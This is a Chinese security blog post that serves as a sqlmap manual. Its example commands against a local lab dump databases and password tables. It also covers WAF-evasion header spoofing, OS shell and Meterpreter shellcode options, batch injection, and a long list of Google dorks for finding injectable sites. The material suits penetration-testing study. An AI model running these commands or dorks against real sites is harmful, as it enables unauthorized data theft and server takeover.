【原创】SQLMAP深度解读及使用手册

admin 2022年11月25日11:36:22评论245 views字数 10712阅读35分42秒阅读模式

SQLMAP深度解读及使用手册


TIPS:公众号私聊窗口,回复“SQLMAP”获得全网最全选项注释和Google范例

0x01 SqlMap介绍及分析

SQLMAP是一种开源渗透测试工具,可自动执行SQL注入缺陷的检测和开发过程,并接管数据库服务器。它有强大的检测引擎,针对不同类型的数据库提供多样的渗透测试功能选项,实现数据库识别、数据获取、访问DBMS操作系统甚至通过带外数据连接的方式执行操作系统的命令。,以及从数据库指纹识别、从数据库获取数据、访问底层文件的广泛范围的交换机 通过带外连接在操作系统上执行命令。

0x02 SqlMap下载及安装

Windows

访问https://sqlmap.org/进行官网zip文件下载,下载后解压,安装python3环境,在sqlmap根目录打开cmd进行使用即可,如想更方便,添加环境变量更加好用哦。

 

 

MacOS

方式1.macOS安装brew,安装后直接本地终端输入brew install sqlmap即可

 

方式2. 访问https://sqlmap.org/进行官网zip文件下载,下载后解压,安装python3环境,在sqlmap根目录打开终端进行使用即可,如想更方便,添加环境变量更加好用哦。

 

0x02 SQLmap实战操作

sqlmap基本命令:

1、查看版本

sqlmap.py --version

 

2、查看帮助

sqlmap.py --help

 

3、测试url是否有注入的可能

sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1

 

4、不询问用户,使用所有默认的配置,可能会触发WAF的告警

sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --batch

5、暴库(列出所有的数据库)

sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --dbs

 

6web当前使用的数据库

sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --current-db

 

7、当前使用数据库的用户

sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --current-user

 

8、列出数据库所有的用户

sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 –users

9、列出数据库的用户和密码

sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --passwords

 

10、列出数据中所有的表

sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --tables -D bts

11、列出数据库bts特定表users的结构,所有字段

sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --columns -D bts -T users

12、脱裤 数据库bts,users,字段usernamepassword

sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --dump -D bts -T users -C "username,password"

13、脱裤,整个数据库

sqlmap.py -u http://127.0.0.1/btslab/vulnerability/ForumPosts.php?id=1 --dump-all

Sqlmap使用经验总结

1

在使用-v参数的时候,尽量选择,3级别,次级别可以显示注入的参数。

例如:sqlmap -v3 -u www.potian.com

2

当一件知道数据库信息的时候,使用-d直接连接数据库,注意-D是指定目标库,要区分。     

例如:-d mysql://POTIAN:123123@127.0.0.1:3306/ORDER

3

当使用Burp或WebScarab保存了日志的时候,想从日志文件中筛选目标,可使用-I使用 绝对路径地址即可。

4

-g可以使用google的搜索结果,例如,直接搜索uid=,查找具有此参数的站点,直接使用sqlmap调用google结果,例:sqlmap -g inurl:php?uid=。(收集了一些语句,在附表)

当需要使用 -g inurl:php?uid=等参数时,默认无法访问,可使用此参数+海外代理方式使用此功能。当代理需要验证的时候,使用-cre指定身份信息,需要使用代理轮巡时,使用文件加载代理设置列表,使用代理轮询也可在对访问ip次数进行了验证的场景使用。(鉴于我国国情,不建议使用)

5

服务端允许的情况下,--method改变默认的http方法,和其他参数配合使用,例如--data,改变为post然后推送数据。

6

默认情况下sqlmap的HTTP请求头中User-Agent值是:sqlmap/*.*-dev-xxxxxxx(http://sqlmap.org)

可以使用–user-agent参数来指定想使用的UA,同时也可以使用–random-agent参数来随机的从./txt/user-agents.txt中获取。当–level参数设定为3或者3以上的时候,会尝试对User-Angent进行注入.另外UA是绕过waf的参数,--user-agent= --random-agent这两个参数可对waf针对恶意ua的防控进行绕过。

7

指定http请求中的header里的host参数、在请求中伪造referer,有些waf和安全产品等会对refer进行限制,仅允许本站referer,当waf参数对referer进行了限制后,可使用此参数进行绕过。当–level参数设定为3或者3以上的时候会尝试对referer注入

指定其他的header信息,XFF等,例如strust2-045使用了Content-Type

8

HTTP代理身份验证凭据,可自动使用username:password和秘钥文件,例如有些访问会使用key文件,集团sso最爱出现此种场景,在这种身份验证凭据的需求中,也可使用-I参数使用burp等代理记录文件来使用身份凭据

9

设置http请求间隔时间,在绕过需求时使用,例如单ip单位时间访问多少次,可配合代理和多代理参数使用。超时连接后的尝试间隔,默认30s,可手动调整,一般--timeout和--retries配合使用

10

有的网站会对提交的参数进行编码或加密,这时候需要根据某个参数的变化,而修改另个一参数,才能形成正常的请求,这时可以用--eval参数在每次请求时根据所写python代码做完修改后请求。

例子:

--eval=""import hashlib;hash=hashlib.md5(id).hexdigest()""

上面的请求就是每次请求时根据id参数值,做一次md5后作为hash参数的值。"

11

sqlmap默认测试所有的GET和POST参数,上文提到过,当--level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值。这时候可以手动指定-p参数设置想要测试的参数。

例如:-p ""id,cookie""但是有个别参数不想测试的时候可以使用--skip=“user-agent”参数。

12

数值处理:

参数:--invalid-bignum --invalid-logical 这两个参数对报错数据、无效数据进行更改,例如默认报错UID=-20,可以通过制定以上参数制定无效的大数字和逻辑,比如uid=999999999和uid=20 and a=b

参数:--prefix,--suffix在注入的payload的前面或者后面加一些字符,来保证payload的正常执行,例如在语句中增加--prefix ""’)"" --suffix ""AND (’1’=’1""

13

--tamper 可从tamper库里查找相关内容,使用 --tamper tamper/*.py方式指定"

14

上文多次解释--level对测试参数的影响,一共有五个等级,默认为1,sqlmap使用的payload可以在payloads.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认也有一些,可定制。--level的值大于等于2的时候也会测试HTTP Cookie头的值,大于等于3的时候也会测试User-Agent和HTTP Referer头的值,建议最高级别,会更慢、测试参数更复杂。

15

risk从0-3共有四个风险等级,默认是1,risk1会测试大部分的测试语句,risk2会增加基于事件的测试语句,3会增加OR语句的注入测试。测试的语句同样可以在payloads.xml中找到,可以自行添加payload。警告:当使用高级别时,可能会使用drop、update等高危语句对整表、整库造成影响,可能导致更新的整个表,可能造成很大的风险。

16

"sqlmap测试结果取决于返回内容,当页面在刷新或更新后,可能导致返回不同的内容,特别是页面有动态内容的情况下。为了避免误报,可指定字符串或者正则表达式来区分原始页面和报错页面(--string参数添加字符串,--regexp添加正则),也可以提供一段字符串在原始页面与true下的页面都不存在的字符串,而false页面中存在的字符串(--not-string添加)。用户也可以提供true与false返回的HTTP状态码不一样来注入,例如,响应200的时候为真,响应401的时候为假,--code=200。

17

默认sqlmap会把BEUSTQ六中注入方式全来一遍,可根据实际情况进行调整,例如可使用时间延迟,看网站响应时间来判断是否有注入,可根据报错判断注入。如果不是很懂,就不用管,虽然时间长点,但很全面。

B: Boolean-based blind SQL injection(布尔型注入)

E: Error-based SQL injection(报错型注入)

U: UNION query SQL injection(可联合查询注入)

S: Stacked queries SQL injection(可多语句查询注入)

T: Time-based blind SQL injection(基于时间延迟注入)

Q: Inline SQL Injection  (内联注入)"

当使用基于时间延迟注入的盲注时,时刻使用--time-sec参数设定延时时间,默认是5秒,可以根据环境记性调整,比如网络延迟很大,可适当增加延时时间

18

--union-cols设定的值为一段整数范围,制定区间,此数值默认为1-10,随着--levle增加,当为5的时候增加为50,当level级别和取值范围不匹配,在低级别需求更大的范围,可通过设定--union-cols的值来实现。设定union查询使用的字符,默认使用NULL,但是可能会返回失败,--union-char指定UNION查询的字符。

指定查询的表,配合上文暴力破解的字符、范围等来详细使用。

 

19

在一旦注入成功且获得精确信息通过以下详细参数来指定检索、枚举动作和动作执行对象:

检索DBMS的指纹特征、数据库、host值、用户身份、并对用户、密码、权限、角色进行枚举也就是爆破。

然后尝试枚举数据库、数据库里的表、数据库里的内容、可以使用count来统计条目等操作。

dump和dump-all就是脱裤和全脱的区别,dump某表的十条八条可能没事儿,dump-all注定要浪迹天涯,也就是所谓的从脱裤到跑路的开始,

通过-D-T-C来制定索要枚举的库、表、和列,使用-X来排除不想要的列,特别是有多列且有无意义字段的时候,使用-X可大大节省时间。

--exclude-sysdbs参数,将不会获取数据库自带的系统库内容,可减少干扰内容,对-count的使用和枚举信息的使用建议搭配此参数来排除系统库。

当我们不想跑路的时候,那么请使用下面内容:

    --start=LIMITSTART  First query output entry to retrieve

        指定从第几行开始输出,如--start=1

    --stop=LIMITSTOP    Last query output entry to retrieve

        指定从第几行停止输出 --stop=10

    --first=FIRSTCHAR   First query output word character to retrieve

        指定从第几个字符开始输出 --first 1

    --last=LASTCHAR     Last query output word character to retrieve

        指定从第几个字符停止输出 --last10 "

20

暴力检查:

猜测检查常见的、通用的表名和列名,可通过下面两个文件进行定制化

暴力破解的表在txt/common-tables.txt文件中

暴力破解的列名在txt/common-columns.txt中"

21

对文件系统、操作系统的交互和使用必须需要相应的权限,前面提到要求具有特定的函数执行特权,一般要求root。

针对文件系统的读写:

对--file-read配置绝对系统路径,可读取相应文件内容,可以是文本,也可以是二进制,条件是必须拥有相对应特权,已知的是mysql、postgresql和sqlserver。写入也是同样,往远端后台的DBMS里写入一个本地文件,可通过--file-dest指定绝对文件路径。"

当然和上面可以配合使用,当数据库为MySQL,PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数。然后通过上面的文件系统管理上传一个库,使用可执行系统命令的sys_exec()和sys_eval(),甚至xp_cmdshell存储过程

--os-shell参数也可以模拟一个真实的shell,可以输入你想执行的命令。

Meterpreter配合使用

--os-pwn,--os-smbrelay,--os-bof,--priv-esc,--msf-path,--tmp-path配合Meterpreter使用,

当前用户有权限使用特定的函数,可以在数据库与攻击者直接建立TCP连接,这个连接可以是一个交互式命令行的Meterpreter会话,sqlmap根据Metasploit生成shellcode,四种方式执行它:

1、通过用户自定义的sys_bineval()函数在内存中执行Metasplit的shellcode,支持MySQL和PostgreSQL数据库,参数:--os-pwn。

2、通过用户自定义的函数上传一个独立的payload执行,MySQL和PostgreSQL的sys_exec()函数,Microsoft SQL Server的xp_cmdshell()函数,参数:--os-pwn。

3、通过SMB攻击(MS08-068)来执行Metasploit的shellcode,当sqlmap获取到的权限足够高的时候(Linux/Unix的uid=0,Windows是Administrator),--os-smbrelay。

4、通过溢出Microsoft SQL Server 2000和2005的sp_replwritetovarbin存储过程(MS09-004),在内存中执行Metasploit的payload,参数:--os-bof"

22

所见即所得,注册表连接指的是windows系统,相信大家都有windows系统知识,不懂注册表基本就不懂windows系统,所有的windows系统配置在注册表里都可实现,比如开启远程连接、比如新建用户、比如组策略配置、比如防火墙等等,reg可对注册表内容进行读取、编辑、和删除,上面和下面相配合可实现对指定的key、value、data和类型进行操作。

23

--batch  在使用sqlmap时,有时一些响应需要用户交互,输入Y、N、skip、quit等,使用此选项可使用默认配置。

--output-dir=  指定输出路径,方式控制台输出过多,无法查看,也方便记录

--gpage=GOOGLEPAGE 好像默认是使用google搜索的前100个文件,当使用前面的-g参数,配合此参数指定页面

--identify-waf  进行WAF/IPS/IDS保护测试,目前大约支持30种产品的识别

--mobile 使用移动产品UA,把sqlmap伪装成手机,也可使用前面的-user-agent自己指定

--smart  智能深度启发式扫描,或许额会有惊喜呢。

--wizard 和上面的完全不同,纯新手选择,一步步让你输入url等参数,基本输入个url就行。

0x02 SQLmap实现批量sql注入探测

0x03 SleuthQL介绍

SleuthQL是基于python3所开发的一款,用于批量爬行站点可能存在sql的地址。并且可以配合burp+sqlmap进行批量注入。

https://github.com/ianxtianxt/SleuthQL

简单的说就是用burp采集网站路径以及页面,sqlmap跑全部可能存在uid注入的接口。

0x03 附全网最全Google使用方法

参考参数:


goole搜索内容

inurl:item_id= inurl:review.php?id= inurl:hosting_info.php?id=
inurl:newsid= inurl:iniziativa.php?in= inurl:gallery.php?id=
inurl:trainers.php?id= inurl:curriculum.php?id= inurl:rub.php?idr=
inurl:news-full.php?id= inurl:labels.php?id= inurl:view_faq.php?id=
inurl:news_display.php?getid= inurl:story.php?id= inurl:artikelinfo.php?id=
inurl:index2.php?option= inurl:look.php?ID= inurl:detail.php?ID=
inurl:readnews.php?id= inurl:newsone.php?id= inurl:index.php?=
inurl:top10.php?cat= inurl:aboutbook.php?id= inurl:profile_view.php?id=
inurl:newsone.php?id= inurl:material.php?id= inurl:category.php?id=
inurl:event.php?id= inurl:opinions.php?id= inurl:publications.php?id=
inurl:product-item.php?id= inurl:announce.php?id= inurl:fellows.php?id=
inurl:sql.php?id= inurl:rub.php?idr= inurl:downloads_info.php?id=
inurl:index.php?catid= inurl:galeri_info.php?l= inurl:prod_info.php?id=
inurl:news.php?catid= inurl:tekst.php?idt= inurl:shop.php?do=part&id=
inurl:index.php?id= inurl:newscat.php?id= inurl:productinfo.php?id=
inurl:news.php?id= inurl:newsticker_info.php?idn= inurl:collectionitem.php?id=
inurl:index.php?id= inurl:rubrika.php?idr= inurl:band_info.php?id=
inurl:trainers.php?id= inurl:rubp.php?idr= inurl:product.php?id=
inurl:buy.php?category= inurl:offer.php?idf= inurl:releases.php?id=
inurl:article.php?ID= inurl:art.php?idm= inurl:ray.php?id=
inurl:play_old.php?id= inurl:title.php?id= inurl:produit.php?id=
inurl:declaration_more.php?decl_id= inurl:news_view.php?id= inurl:pop.php?id=
inurl:pageid= inurl:select_biblio.php?id= inurl:shopping.php?id=
inurl:games.php?id= inurl:humor.php?id= inurl:productdetail.php?id=
inurl:page.php?file= inurl:aboutbook.php?id= inurl:post.php?id=
inurl:newsDetail.php?id= inurl:ogl_inet.php?ogl_id= inurl:viewshowdetail.php?id=
inurl:gallery.php?id= inurl:fiche_spectacle.php?id= inurl:clubpage.php?id=
inurl:article.php?id= inurl:communique_detail.php?id= inurl:memberInfo.php?id=
inurl:show.php?id= inurl:sem.php3?id= inurl:section.php?id=
inurl:staff_id= inurl:kategorie.php4?id= inurl:theme.php?id=
inurl:newsitem.php?num= inurl:news.php?id= inurl:page.php?id=
inurl:readnews.php?id= inurl:index.php?id= inurl:shredder-categories.php?id=
inurl:top10.php?cat= inurl:faq2.php?id= inurl:tradeCategory.php?id=
inurl:historialeer.php?num= inurl:show_an.php?id= inurl:product_ranges_view.php?ID=
inurl:reagir.php?num= inurl:preview.php?id= inurl:shop_category.php?id=
inurl:Stray-Questions-View.php?num= inurl:loadpsb.php?id= inurl:transcript.php?id=
inurl:forum_bds.php?num= inurl:opinions.php?id= inurl:channel_id=
inurl:game.php?id= inurl:spr.php?id= inurl:aboutbook.php?id=
inurl:view_product.php?id= inurl:pages.php?id= inurl:preview.php?id=
inurl:newsone.php?id= inurl:announce.php?id= inurl:loadpsb.php?id=
inurl:sw_comment.php?id= inurl:clanek.php4?id= inurl:pages.php?id=
inurl:news.php?id= inurl:participant.php?id=
inurl:avd_start.php?avd= inurl:download.php?id=
inurl:event.php?id= inurl:main.php?id=
inurl:product-item.php?id= inurl:review.php?id=
inurl:sql.php?id= inurl:chappies.php?id=
inurl:material.php?id= inurl:read.php?id=
inurl:clanek.php4?id= inurl:prod_detail.php?id=
inurl:announce.php?id= inurl:viewphoto.php?id=
inurl:chappies.php?id= inurl:article.php?id=
inurl:read.php?id= inurl:person.php?id=
inurl:viewapp.php?id= inurl:productinfo.php?id=
inurl:viewphoto.php?id= inurl:showimg.php?id=
inurl:rub.php?idr= inurl:view.php?id=
inurl:galeri_info.php?l= inurl:website.php?id=















【原创】SQLMAP深度解读及使用手册
往期回顾:
《招聘》安全技术岗(全国)
一封“情”书
速速来领!《2022中国卫生健康统计年鉴》
【原创】《个人信息保护法》实施周年回顾、分析

原文始发于微信公众号(KK安全说):【原创】SQLMAP深度解读及使用手册

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年11月25日11:36:22
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【原创】SQLMAP深度解读及使用手册https://cn-sec.com/archives/1421564.html

发表评论

匿名网友 填写信息